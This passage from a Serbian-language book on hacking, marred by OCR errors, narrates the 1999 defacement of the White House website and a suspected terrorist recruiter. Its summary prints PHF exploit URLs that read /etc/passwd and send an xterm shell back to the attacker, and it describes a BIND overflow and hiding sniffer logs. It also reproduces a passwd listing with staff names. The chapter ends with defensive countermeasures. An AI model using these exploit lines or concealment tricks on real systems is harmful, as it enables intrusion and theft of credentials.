Pomisao da sam imao veze s tim. Da sam usao u Lockheed
Martin ili Boing i dosao do jos informacija, mogli su da ib is-
koriste. Bilo je to lose vreme za mene i za Ameriku.

Plakao sam jer nikada nisam pomislio na to da ga prijavim.

Nisam dobro rasudivao. 1o je bio razlog zbog kog me je anga-
Zovao da uradim sve te stvari...

[Pomisao] da sam i malim prstom ucestvovao u onom sto se
desilo s Trgovinskim centrom... u potpunosti me je skrhala.

U Svetskom trgovinskom centru stradala su tri moja druga.
Nikada se nisam osecao tako lose.

Mnogi hakeri su tinejdzeri, pa ¢ak i mladi. Da li je to prerano da bi
se prepoznala potencijalna opasnost ili reagovalo na zahteve nekoga ko
bi mogao predstavljati pretnju zemlji? Mislim da su nakon 11. septem-
bra americki hakeri — ¢ak i oni veoma mladi — postali sumnjicavi i da je
malo verovatno da ce ih teroristi prevariti. Nadam se da sam u pravu.



Upad u Belu kucu

Istorija racunarske bezbednosti u neku ruku ima sliénosti s davnom
istorijom kriptografije. Vekovima su ljudi smisljali $ifre koje su oznaca-
vali kao ,nemoguce za otkrivanje“. Cak i danas, u eri ratunara koji
mogu brzo ifrovati poruku pomodu kljuéa za jednokratnu upotrebu, ili
kljuca koji sadrzi stotine znakova, vedina kodova i dalje se moze desi-
frovati. (Americka organizacija za Sifrovanje i deSifrovanje, Agencija za
nacionalnu bezbednost — engl. National Security Agency, razmede se bro-
jem najvecih, najbrzih i najmocnijih ra¢unara na svetu.)

Bezbednost racunara je kao stalna igra macke i misa u kojoj su stru¢-
njaci za bezbednost na jednoj strani, a upadaci na drugoj. Operativni si-
stem Windows sadrzi desetine miliona redova koda. Sasvim je jasno da
svaki ogroman softver mora da sadrzi slabosti koje ¢e posveceni hakeri
pre ili kasnije otkriti.

U meduvremenu, radnici u kompanijama, ¢inovnici, ponekad i profe-
sionalci u oblasti bezbednosti, instalira¢e nov racunar ili program i za-
boraviti da promene podrazumevanu Sifru, ili se nede potruditi da smisle
sifru koja je bar donekle sigurna — ostavljajuéi uredaj u ranjivom stanju.

Ako ¢itate vesti o hakerskim napadima i upadima, znate da su vojne
i vladine prezentacije, ¢ak i Web prezentacija Bele kude, ve¢ ugrozene.
Ponekad neprestano.

Upad na prezentaciju i menjanje Web strane je jedno — to je uglav-
nom trivijalna, ili bar dosadna stvar. I pored toga, mnogi ljudi se osla-
njaju na samo jednu lozinku koju koriste svuda. Ukoliko provaljivanje
u Web prezentaciju vodi do hvatanja lozinki, napada¢ moze dospeti u
situaciju da ima pristup ostalim sistemima u mrezi i moze da napravi
mnogo vecu Stetu. neOh kaze da su 1999. godine on i jos dva ¢lana ha-
kerske grupe gLobaLheLL uradili upravo to, na jednom od najosetlji-
vijih mesta u SAD-u — u Beloj kudi.

Mislim da su u Beloj kuéi reinstalirali operativni sistem. Sve
su vratili na podrazumevane vrednosti. I u tom periodu, u tra-
Janju od deset, petnaest minuta, Zyklon i MostFearD uspeli su
da udu, dodu do skrivene datoteke lozinki, provale je, udu, i
promene Web prezentaciju. Bio sam tamo dok su to radili.

Trebalo je samo da budu na pravom mestu u pravo vreme.
Desilo se slucajno — bila je (ista sreca da su se zadesili na vezi
bas kada je neko radio na prezentaciji.
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O tome smo pricali u pricaonici grupe gLobaLhelL. Probudio
me poziv oko 3 wjutro kojim su me obavestili Sta se desava. Re-
kao sam: ,Baljezgas. Dokazi. " Skotio sam za ralunar. I stvar-
no, uradili su to.

MostFearD i Zyklon obavili su najveci deo posla. Dali su mi
skrivenu datoteku da je provalim sto brze mogu. Dosao sam do
jedne [lozinke] — bila je to obicna ret iz recnika. I to je bilo to.

neOh nam je dao deo koda za koji kaze da je datoteka lozinke koju su
ostali nabavili i preneli mu. U njoj je naizgled nabrojano nekoliko ov-
lad¢enih korisnika, ¢lanova osoblja Bele kuce’:

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin: /var/adm:

uucp:x:5:5:uucp Admin:/usr/Tib/uucp:
nuucp:x:9:9:uucp

Admin: /var/spool/uucppublic:/usr/1ib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:6001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:Sun0S 4.x Nobody:/:
bing:x:1001:10:Bing Feraren:/usr/users/bing:/bin/sh
orion:x:1002:10:Christopher

Adams: /usr/users/orion: /usr/ace/sdshell
webadm:x:1130:101:Web
Administrator:/usr/users/webadm: /bin/sh
cadams:x:1003:10:Christopher

Adams: /usr/users/cadams: /usr/ace/sdshell

bartho m:x:1004:101:Mark

Bartholomew: /usr/users/bartho m:/usr/ace/sdshell
monty:x:1139:101:Monty Haymes:/usr/users/monty:/bin/sh
debra:x:1148:101:Debra Reid:/usr/users/debra:/bin/sh
connie:x:1149:101:Connie
Colabatistto:/usr/users/connie:/bin/sh
bi11:x:1005:101:William Hadley:/usr/users/bill:/bin/sh

Ovo je vrsta Unixove ili Linuxove datoteke lozinki, kakva se koristi
za skladistenje Sifrovanih lozinki u posebnoj, zasti¢enoj datoteci. Svaki
red navodi ime jedne osobe koja ima nalog na sistemu. Unos ,sdshell“ u



nekim redovima nagovestava da ti korisnici, zbog dodatne sigurnosti,
imaju mali elektronski uredaj nazvan ,RSA SecureID®. On prikazuje
Sestocifreni broj koji se menja svakih $ezdeset sekundi. Da bi se prijavili,
ti korisnici moraju da unesu Sestocifreni broj koji je u tom trenutku pri-
kazan na njihovom uredaju SecurelD, i li¢ni identifikacioni broj, PIN
(koji ponegde dodeljuje kompanija, a nekad ga bira sam korisnik). Web
prezentaciji Bele kuée promenjena je mati¢na strana u isto vreme kada
je na nju provaljeno, kao dokaz da su hakeri bili tu, objasnio je neOh.
Dao nam je i vezu do upotrebljene strane (slika 2-1).® Pored simbola
hakerske grupe gl.obalLheLL, poruka sadrzi i logotip Hong Kong Dan-
ger Duo. To je, kaze neOh, lazno ime koje je izmisljeno kako bi se dodao
jos jedan element za obmanjivanje.

Look at the in n 3 racnal files.

Slika 2-1: Strana kojom je zamenjena
Web prezentacija Bele kuce, maj 1999.

Koliko se neOh seca, momci odgovorni za ovaj upad na prezentaciju
Bele kuée nisu bili narocito ushideni $to su uspeli da upadnu na jednu
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od otprilike deset najsigurnijih Web prezentacija u zemlji. Bili su ,pri-
li¢no zauzeti upadanjem svuda“, objasnio je neOh, ,da bi svetu dokazali
da smo najbolji“. Umesto opsteg virtuelnog tapsanja po ramenu, on
kaze da se atmosfera moze bolje opisati kao: ,,Dobro obavljen posao,
momci, najzad smo uspeli, $ta je sledede?”

Al nije im ostalo mnogo vremena za bilo kakve druge upade. Njiho-
vi svetovi su se ubrzo sruéili, a taj deo price nas ponovo vraca na miste-
rioznog Kalida.

Zyklon, inace poznat kao Erik Barns, odavde preuzima pricu. Kaze
da nikada zaista nije bio ¢lan grupe globalLheLL, ali je visio po IRC
prezentacijama s nekim njenim ¢lanovima. Kako on opisuje dogadaje,
upad u prezentaciju Bele kude postao je mogué kada je otkrio da je ona
mogla biti ugrozena koriséenjem rupe u programu PHF za pristup tele-
fonskom imeniku postavljenom na Web. To je bila najbitnija slabost ali,
mada su u hakerskoj zajednici znali za nju, ,nije je koristilo mnogo lju-
di“, kaze Zyklon.

Izvodedi vise koraka (detaljno su objasnjeni u odeljku Sazetak, kasni-
je u ovom poglavlju), mogao je da zauzme osnovni direktorijum lokaci-
je whitehouse.gov i obezbedi pristup drugim sistemima na lokalnoj
mrezi, ukljuc¢ujuéi server za e-postu Bele kuée. Zyklon je u tom trenut-
ku mogao da presretne poruke izmedu osoblja Bele kude i javnosti,
mada te poruke, naravno, ne bi otkrile nikakve poverljive informacije.

Medutim, Zyklon je rekao da je mogao i da ,dode do kopije lozinke
i skrivenih datoteka®. Vrsljali su po prezentaciji, gledali $ta mogu da
pronadu i ¢ekali da ljudi poénu da dolaze na posao. Dok je ¢ekao, do-
bio je poruku od Kalida koji mu je rekao da pise ¢lanak o nedavnim
upadima i pitao Zyklona da li je nedavno imao akcije o kojima bi govo-
rio. ,I onda sam mu rekao da smo upravo upali na Web prezentaciju
Bele kude®, ispricao je Zyklon.

Zyklon mi je rekao da je u roku od par sati njihov program za
pracenje protoka podataka primecen — administrator sistema je poku-
$§avao da otkrije $ta se defava i ude u trag ljudima koji su bili na prezen-
taciji. Puka slucajnost? Ili je bas tad imao neki razlog da postane
sumnjicav? Prosli su meseci pre nego s$to je Zyklon pronasao odgovor.
Ali tada, ¢im je prisluskiva¢ otkriven, momci su se povukli s prezentaci-
je 1 nadali se da su pretekli administratora.



Medutim, ¢a¢nuli su u osinje gnezdo. Oko dve nedelje kasnije, FBI
se ustremio na sve ¢lanove grupe globaLheLL koje su mogli da identi-
fikuju. Pored Zyklona — tada je imao 19 godina i uhapsen je u drzavi
Vasington — uhapseni su i MostHateD (Patrik Gregori, takode 19 godi-
na, iz Teksasa), MidPhasr (Cad Dejvis iz Viskonsina), i drugi.

neOh je bio medu par hakera koji su preziveli napad. Sa bezbedne
udaljene lokacije on je, razjaren, postavio stranu na Web prezentaciju sa
prkosnom porukom. Ona je u prvom trenutku glasila: ,Slusajte vi ga-
dovi iz FBL. Ne z_ se s nasim ¢lanovima jer cete izgubiti. Dok ovo pi-
$em mi drzimo fbi.gov. UPLASILI STE SE. Uhapeni smo jer vai
glupi idioti ne mogu da ukapiraju ko je upo u belu kucu... jel tako? pa
ste nas sve ucorkirali da vidite jel ¢e neko da ga otkuca. PUNO ]J_
SRECE. MI NISMO CINKAROSI. Kapirate? REKAO SAM DOMI-
NACIJA SVETOM.*

I potpisao je: ,Nemilosrdni neOh.<?

Posledice

Kako se desilo da je administrator sistema tako rano ujutro poceo da
njuska? Zyklon se nimalo ne dvoumi oko odgovora. Kada su tuzioci
sakupili dokumente za ovaj slucaj, pronasao je izjavu da su informacije
koje su vodile do saznanja vezanih za upad grupe globaLheLL u pre-
zentaciju Bele kuée, dobijene od dousnika FBI-ja. Koliko se on seca, u
dokumentu je pisalo i da se taj dousnik nalazio u Nju Delhiju, u Indiji.

Po Zyklonovom misljenju, nije bilo nikakve sumnje. Jedina osoba
kojoj je rekao za upad u Belu kuéu — jedina osoba — bio je Kalid Ibra-
him. Jedan plus jedan jesu dva: Kalid je bio dousnik FBI.

Ali misterija ostaje. Cak i ako je Zyklon u pravu, da li je to cela
prica? Kalid je bio dousnik, pomagao je FBI-ju da pronade klince hake-
re koji su bili raspoloZeni da upadaju na osetljive prezentacije? Ili mozda
postoji jos jedno mogude objasnjenje: da je njegova uloga dousnika bila
samo pola price, a da je on zapravo bio i pakistanski terorista, kao $to je
mislio indijski general. Covek koji igra dvostruku ulogu: pomaze inte-
resima Talibana dok je infiltriran u FBI.

Njegov strah da e ga neki klinac prijaviti FBI-ju uklapa se u ovu
verziju price.
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Samo nekoliko ljudi zna istinu. Pitanje je da li su medu njima i
agenti FBI i federalni tuZioci koji su ukljuéeni u slucaj. Ili su i oni nasa-
mareni?

Na kraju, Patrik Gregori i Cad Dejvis osudeni su na dvadeset Sest
meseci, a Zyklon Barns na petnaest. Sva trojica su odsluzila kazne i vise
nisu u zatvoru.

Pet godina kasnije

Dani hakerisanja su za Comradea uglavnom samo secanje, ali njegov
glas zivne kada govori o ,uzbudenju zbog sr_ koja ne biste smeli da pra-
vite, odlaska na mesta na kojima ne biste smeli da budete, nadajudi se
da cete naidi na nesto kul®.

Ipak, vreme je da se poéne sa zivotom. On kaze da razmislja o fakul-
tetu. Kada smo razgovarali, upravo se vratio iz skautske skole u Izraelu.
Jezik mu nije bio prevelik problem — ucio je hebrejski u osnovnoj skoli
i iznenadio se koliko je mnogo zapamtio.

Njegovi utisci o toj zemlji su pomesani. Devojke su bile ,,bas super®,
a Izraelci su pokazali da veoma vole Ameriku. ,,Cini se da se ugledaju na
Amerikance.“ Na primer, provodio je vreme s nekim Izraelcima koji su
pili sok RC Cola za koji nikada nije ¢uo, a ispostavilo se da se pravi u
Americi. Izraelci su objasnili: ,To je ono §to Amerikanci piju u re-
klamama“. Nailazio je i na ,antiamericke stavove ljudi koji se ne slazu sa
americkom politikom®, ali to ga nije omelo: ,Pretpostavljam da toga
ima svuda.”

Vreme mu se nimalo nije dopalo — bilo je ,hladno i kiSovito“ dok je
bio tamo. A onda, bio je tu i problem s racunarima. Zbog puta je kupio
prenosivi racunar i bezi¢nu mreznu karticu, ali je otkrio da su ,zgrade
napravljene od ogromnog kamenja“. Njegov racunar je mogao da vidi
pet ili deset mreza, ali su signali bili previse slabi za povezivanje i morao
je da pesaci dvadeset minuta da bi dosao do mesta na kom se moze pri-
javiti na mrezu.

Comrade je sada u Majamiju. TinejdZzer s dosijeom prestupnika sada
zivi od nasledstva i pokusava da odluci da li ée i¢i na fakultet. Ima dva-
deset godina i uglavnom ne radi nista.

Comradeov drugar neOh radi za veliku telekomunikacionu kompa-
niju (kaze da posao s radnim vremenom od devet do pet ,nije dobar),
ali ée uskoro otiéi u Los Andeles na tri meseca fizickog rada jer placaju



mnogo vise nego $to sada zaraduje. Nada se da ce, kao i vecina obi¢nih
ljudi, uspeti da ustedi dovoljno za otplacivanje kuce u kojoj trenutno Zivi.

Kada se tromesecni, dobro pladen posao zavrsi, i neOh razmislja o
studiranju — ali ne planira da studira ra¢unarske nauke. ,,Vecina ljudi s
takvim diplomama koje sam sreo nema pojma®, rekao je. Umesto toga,
on bi voleo da studira poslovni i organizacioni menadzment, a onda da
se racunarima bavi na poslovnom nivou.

Govoredi o svojim ranijim avanturama, on ponovo pominje svoju
okupiranost Kevinom. Do koje mere je zamisljao da ide mojim stopama?

Da li sam zeleo da budem ubvacen? I jesam i nisam. Ako me
uhvate, to bi bio dokaz da ,mogu to da uradim i da sam to
uradio®. Nije bas da sam namerno hteo da me uhvate. Hteo
sam da me uhvate da bih se borio, oslobodio i onda bio haker
koji je umakao. Izasao bib, nasao dobar posao u nekoj viadi-
noj agenciji i uklopio bih se s podzemljem.

Koliko je pretnja velika

Kombinacija odlu¢nih terorista i neustrasivih klinaca hakera mogla bi
biti katastrofalna za Ameriku. Ova pri¢a me je naterala da se zapitam
koliko drugih Kalida regrutuje klince (ili nepatriotski nastrojene odra-
sle sa hakerskim sposobnostima), gladne novca, priznanja ili zadovolj-
stva za uspesno obavljene teske zadatke. Vrbovnici posle Kalida mozda
ée biti tajanstveniji i nece se mo¢i tako lako otkriti.

Kada sam bio u pritvoru pre sudenja, nekoliko puta mi je prilazio
kolumbijski kralj droge. Sledovala mu je doZivotna robija u federalnom
zatvoru bez mogucnosti uslovne kazne. Ponudio mi je primamljiv po-
sao: platie mi 5 miliona dolara u gotovom za upad u ,,Sentry” — racu-
narski sistem Federalnog biroa za zatvore — i njegovo oslobadanje iz
zatvora. Taj tip je bio stvaran i smrtno ozbiljan. Nisam prihvatio njego-
vu ponudu, ali sam ostavio utisak da ¢u mu pomodi kako bih izbegao
sukob. Pitam se $ta bi neOh uradio u sli¢noj situaciji.

Americki neprijatelji mozda treniraju svoje vojnike za kompjutersko
ratovanje kojim bi napali ameri¢ku infrastrukturu i odbranili svoju. Ne
morate biti mudrac da biste shvatili da takve grupe mogu angazovati
umesne hakere iz bilo kog dela sveta radi obuke, ili za projekte koji su
bitni za misije.
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Godine 1997. i ponovo 2003, Ministarstvo odbrane je pokrenulo
operaciju Eligible Receiver — pokusaj da se proveri osetljivost nacije na
elektronski napad. U &éanku Washington Timesa'® o ranijem ovakvom
pokusaju, objavljeno je: ,,Visi rukovodioci Pentagona bili su zapanjeni
vojnom vezbom koja je pokazala koliko je hakerima lako da obogalje
americke vojne i civilne ra¢unarske mreze“. Clanak objasnjava da je
Agencija za nacionalnu bezbednost okupila grupu svojih specijalista za
ra¢unare u ,crveni tim*“ hakera i omogucila im da koriste samo racu-
narsku opremu koja je dostupna i javnosti, i sve alate za hakerisanje,
ukljucujudi kod za zloupotrebe koji su mogli preuzeti sa Interneta ili
elektronskih oglasnih tabli.

Za nekoliko dana, hakeri iz crvenog tima infiltrirali su se u ra¢unar-
ske sisteme za upravljanje delovima nacionalne elektrodistribucijske
mreze i pomocu nekoliko komandi mogli su da zamrace c¢itave delove
zemlje. ,Da ovo nije bila vezba“, objavio je Christian Science Monitor,
»oni su mogli da poremete sistem komunikacije Ministarstva odbrane (i
preuzmu najveci deo Pacificke komande) i pristupe racunarskim si-
stemima na brodovima ameri¢ke mornarice.“!!

Li¢no sam mogao da pobedim bezbednosne mehanizme telefonskih
centrala napravljenim u kompaniji Baby Bells i kontrolidem pristup tim
centralama. Pre deset godina imao sam potpunu kontrolu nad vec¢inom
centrala koje su odrzavale kompanije Pacific Bell, Sprint, GTE i druge.
Zamislite haos koji bi snalazljiva grupa terorista mogla da napravi kada
bi imala takav pristup.

Clanovi organizacije Al Kaida i drugih teroristickih grupa i ranije su
koristile ra¢unarske mreze pri planiranju teroristi¢kih napada. Postoje
dokazi da su teroristi koristili Internet prilikom planiranja operacija za
napade 11. septembra.

Ako je Kalid Ibrahim i bio uspesan u dobijanju informacija preko
pomenutih hakera, to niko ne obelodanjuje. Nedostaje kona¢an dokaz
da je on zaista bio povezan s napadima na Svetski trgovinski centar i
Pentagon. Ipak, niko ne zna da li ée se on ili neko slican ponovo pojavi-
ti na kiberneti¢koj sceni, traze¢i naivne pomagace koje uzbuduje ,pra-
vljenje sr_ koja ne biste smeli da pravite, odlazak na mesta na kojima ne
biste smeli da budete®. Klince koji bi mogli pomisliti da je ponudeni
izazov ,kul®.



Za mlade hakere, slaba bezbednost ostaje neprekidan podsticaj. Pa
ipak, hakeri iz ove price trebalo je da prepoznaju opasnost kada ih je
strani drzavljanin regrutovao za kompromitovanje osetljivih americkih
ra¢unarskih mreza. Moram se zapitati koliko ¢e drugih mladica kao $to
je neOh neprijatelj regrutovati.

U svetu punom terorista, dobra bezbednost nikada nije bila toliko
bitna kao danas.

SAZETAK

neOh nam je dao detalje o nacinu na koji je upao u ra¢unarski sistem
Lockheed Martina. Pri¢a je svedocanstvo o inovativnosti hakera (,Ako
u bezbednosti postoji rupa, mi éemo je pronadi“ mogao bi biti hakerski
moto), ali i upozorenje za svaku organizaciju.

neOh je brzo utvrdio da Lockheed Martin ima sopstveni server za
prevodenje imena domena (engl. Domain Name Servers, DNS). DNS
je Internet protokol koji, na primer, www.disney.com prevodi u
198.187.189.55, adresu koja se moze koristiti za usmeravanje paketa s
porukama. neOh je znao da je grupa za istrazivanje bezbednosti u Polj-
skoj objavila ono sto hakeri nazivaju ,exploit“ — program koji je dizajni-
ran tako da napadne jedan konkretan ranjiv deo — da iskoristi slabost u
verziji DNS-a kompanije Lockheed.

Kompanija je koristila DNS protokol pod imenom BIND (Berkeley
Internet Name Domain). Poljska grupa je otkrila da je jedna verzija
BIND-a slaba kada napad ukljucuje ,prelivanje udaljenog bafera“ (engl.
remote buffer overflow), a upravo tu verziju imala je kompanija Lock-
heed Martin. Prate¢i metodu koju je pronasao na Internetu, neOh je
mogao da dode do administratorskih privilegija i na primarnom i na se-
kundarnom DNS serveru Lockheeda.

Posle zauzimanja administratorskog naloga, neOh je podesio presre-
tanje lozinki i e-poste instalirajuéi program za njuskanje. U tajnosti je
hvatao sav saobracaj. Podatke koje treba uskladistiti, haker obi¢no 3alje
na mesto gde je mala verovatnoda da ¢e biti primeceni. Da bi sakrio
dnevnik prisluskivanja, neOh je napravio direktorijum sa imenom koje
je bilo samo razmak, predstavljen s tri tacke. Prava putanja koja je ko-
ris¢ena bila je ,/var/adm/ ...“ Tokom inspekcije administrator sistema
mogao je lako da previdi ovu bezopasnu stavku.
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Tehnika sakrivanja programa za njuskanje, mada je u mnogim situ-
acijama efikasna, prili¢no je jednostavna. Za prikrivanje hakerskih tra-
gova u ovakvim situacijama postoje i prefinjenije metode.

Pre nego $to je otkrio da li ¢e mo¢i dublje da prodre u mrezu Lock-
heed Martina kako bi do$ao do poverljivih informacija, neOh je obratio
paznju na drugi zadatak, pa su osetljive datoteke kompanije ostale bez-
bedne.

Za upad u Belu kucu, Zyklon kaze da je prvo pokrenuo program
CGI Scanner koji pregleda ciljni sistem trazedi slabosti standardnog in-
terfejsa za prenos. Otkrio je da je Web prezentacija podlozna napadu
pomocu ,zloupotrebe PHF-a“. Ona koristi gresku koju je napravio pro-
gramer PHF skripta (telefonskog imenika).

PHF je okruzenje zasnovano na obrascima. Ono prihvata ime kao
unos i na serveru trazi podatke o imenu i adresi. Skript poziva funkciju
escape_shell_cmd(), koja bi trebalo da o¢isti unos od sumnjivih znako-
va. Ali, programer je sa liste izostavio jedan znak — znak za novi red. Vr-
stan napada¢ mogao bi iskoristiti taj previd tako $to ¢e unos postaviti u
obrazac koji sadrzi Sifrovanu verziju (0x0a) znaka za novi red. Slanje
znakovnog niza sa ovim znakom prevariée skript tako da izvrsi svaku
komandu koju napada¢ odabere.

Zyklon je u svoj ¢ita¢ Weba uneo URL

http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/bin/

cat%20/etc/passwd

Tako je mogao da prikaZe datoteku s lozinkama za whitehouse.gov.
Medutim, on je hteo potpunu kontrolu nad Web serverom Bele kude.
Gotovo sigurno je znao da ¢e ulazi X Servera biti blokirani zastitnom
barijerom, te da ne¢e modi da se poveze ni sa jednim od tih servisa na
prezentaciji whitehouse.gov. Zato je ponovo iskoristio rupu u PHF-u
tako $to je uneo:

http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/usr/X11R6/

bin/xterm%20-ut%20-display%20zyklons.ip.address:0.0

Tako je terminalski emulator xterm poslat sa servera Bele kuce na
racunar koji je on kontrolisao i na kom je radio X server. Drugim reci-
ma, umesto da se poveze sa whitehouse.gov, on je sistemu Bele kude na-
redio da se poveze sa njim. (To je mogudce samo kada barijera dozvoljava
izlazne veze, $to je ovde ocigledno bio slucaj.)



Potom je iskoristio slabost prelivanja bafera u programu sistema —
ufsrestore. Zyklon kaze da mu je to omogudilo da zadobije administra-
torska prava na prezentaciji whitehouse.gov, i pristup serveru za postu
Bele kude i ostalim sistemima na mreZi.

PROTIVMERE

Opisane zloupotrebe koje su pravili neOh i Comrade pred sve kompani-
je postavljaju dva problema.

Prvi je jednostavan i opste poznat: informisanje o svim najnovijim
izdanjima operativnog sistema i programa. Izuzetno je vazno biti u toku
i instalirati bezbednosne zakrpe ili ispravke. Da biste bili sigurni da se
to ne radi nasumice, trebalo bi da osmislite i sprovodite program azuri-
ranja ¢iji bi cilj bio upozoravanje odgovarajuceg osoblja ¢im se pojavi
nova dopuna proizvoda koje kompanija koristi — narocito operativnog
sistema, ali 1 aplikacionog softvera i firmvera.

Kada nova zakrpa postane dostupna, ona se mora $to pre instalirati
— odmabh, ili ¢im bude mogude. Nije tesko razumeti premorene zaposle-
ne koji su pod stalnim pritiskom obavljanja obi¢nih zadataka (instalira-
nje sistema za nove radnike, na primer) i instaliranja zakrpa u dogledno
vreme. Medutim, ukoliko je uredaj s nepotpunim softverom dostupan
preko Interneta, nastaje veoma rizi¢na situacija.

Brojni sistemi su ugroZeni zbog neredovnog azuriranja. Cim se neka
slabost objavi, prozor izlozenosti je maksimalno otvoren sve dok proiz-
voda¢ ne objavi zakrpu koja ée popraviti problem, i dok je korisnici ne
instaliraju.

Vasa organizacija treba tom zadatku da dé visok prioritet. Mora
postojati zvani¢an program upravljanja zakrpama koji smanjuje izlo-
zenost $to je mogude brze, ali tako da se ne ometaju osnovne operacije
poslovanja.

Ipak, ¢ak i ako redovno instalirate zakrpe, to nije dovoljno. neOh
kaze da su neki upadi u kojima je ucestvovao bili zloupotrebe ,,nultog
dana® (engl. zero day) — upadi zasnovani na slabosti koja je poznata
samo u okviru male grupe hakera. ,Nulti dan” je dan kada prvi put is-
koriste tu slabost, a to je ujedno i dan kada proizvodac¢ i ljudi koji se
bave bezbednoscu saznaju za nju.
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Posto uvek postoji moguénost takvih upada, svaka organizacija koja
koristi lo§ proizvod ranjiva je sve dok se ne objavi zakrpa ili zaobilazno
re$enje. Kako da smanjite rizik od takve izloZzenosti?

Verujemo da je jedino vredno reSenje kori$éenje modela ,,dubinske
odbrane”. Moramo pretpostaviti da ¢e nasi ra¢unarski sistemi koji su
dostupni javnosti u nekom trenutku biti ranjivi na nulti dan. Zbog toga
treba da stvorimo okruZenje za smanjivanje potencijalne $tete koju losi
momci mogu da naprave. Jedan primer, koji smo ranije pomenuli, jeste
postavljanje javno dostupnih sistema u ,DMZ" zastitne barijere kom-
panije. Termin DMZ je pozajmljen iz vojnopoliticke skradenice za ,de-
militarizovanu zonu“ i odnosi se na podesavanje arhitekture mreze tako
da sistemi koji su dostupni javnosti (Web serveri, serveri e-poste, DNS
serveri i sli¢cno) budu izolovani od osetljivih sistema u mrezi kompanije.
Primenjivanje arhitekture koja Stiti unutrasnju mrezu jedan je primer
dubinske odbrane“.

Takvim rasporedom, ¢ak i ako hakeri otkriju dotad nepoznatu slabost
i dospeju do Web servera ili servera e-poste, korporativni sistemi u unu-
trasnjoj mrezi i dalje ée biti zasti¢eni dodatnim bezbednosnim slojem.

Kompanije mogu organizovati jo§ jednu efikasnu protivmeru
pracenjem mreze ili pojedina¢nih mati¢nih racunara u potrazi za neuo-
bi¢ajenim ili sumnjivim aktivnostima. Napada¢ obi¢no izvodi odredene
akcije kada uspesno upadne u sistem — na primer, pokusava da dode do
sifrovanih ili obi¢nih tekstualnih lozinki, instalira zadnja vrata, menja
konfiguraciju datoteka kako bi oslabio bezbednost, ili menja sistemske,
programske ili dnevnicke datoteke.

Pracenjem tih vrsta uobi¢ajenog hakerskog ponasanja i uzbunji-
vanjem odgovarajuceg osoblja, lakse cete kontrolisati $tetu.

Drugo: nebrojeno puta su me novinari pitali koji je najbolji nacin
zastite poslovnog ili li¢nog racunara u danas$njem neprijateljskom
okruZenju. Jedna od osnovnih preporuka jeste koriséenje jaceg vida
identifikovanja umesto stati¢nih lozinki. Nikada necete znati, osim
mozda kada sve bude gotovo, da li neko drugi zna koja je vasa lozinka.

Uz tradicionalne lozinke mozete koristiti brojne tehnike prijavlji-
vanja na drugom nivou, koje omogucavaju mnogo vecu sigurnost. Po-
red ranije pomenutog RSA SecurelD-a, Safeword PremierAccess nudi
zetone za generisanje lozinke, digitalne sertifikate, smart kartice, bio-
metriku i druge tehnologije.



Nedostaci ove vrste kontrolisanja identiteta jesu dodatni troskovi i
neprijatnosti za svakog korisnika. Sve zavisi od toga $ta pokusavate da
zastitite. Stati¢ne lozinke su mozda dovoljne za zastitu novih ¢lanaka
Web prezentacije LA Timesa. Ali, da li se na njih mozete osloniti kada
treba da zastitite specifikacije dizajna novog putnickog mlaznog aviona?

ZAKLJUCAK

Pri¢e u ovoj knjizi ali i novinski ¢lanci, prikazuju koliko su americki
ratunarski sistemi, a i sama nacija, podlozni napadu. Cini se da je ve-
oma malo sistema zaista bezbedno.

U eri terorizma, jasno je da se rupe moraju bolje krpiti. Epizode kao
§to je ova, pokrecu pitanje s kojim se moramo suociti: koliko lako se ta-
lenat i znaje nesavesnih tinejdZera mogu okrenuti protiv nas i ugroziti
ameri¢ko drustvo. Verujem da se jo§ u osnovnoj skoli — ¢im se daci su-
sretnu sa informatikom — mora uciti o principima ra¢unarske etike.

Nedavno sam prisustvovao prezentaciji Frenka Abignejla, protagoni-
ste filma Ubvati me ako mozes (Catch Me If You Can). Frenk je sproveo
istrazivanje o eti¢koj upotrebi racunara medu ucenicima srednjih skola
sirom zemlje. Svaki ucenik je bio upitan da li je provaljivanje lozinke
skolskog druga prihvatljivo ponasanje. Iznenaduje da ¢ak cetrdeset osam
procenata ispitanih studenata smatra da je to u redu. S takvim stavovima
nije tesko shvatiti zasto ljudi ucestvuju u ovakvim aktivnostima.

Ukoliko neko ima predlog kako da mladi hakeri budu manje pod-
lozni regrutovanju od strane neprijatelja, domacih i stranih, bilo bi do-
bro da nam saopsti svoje ideje.
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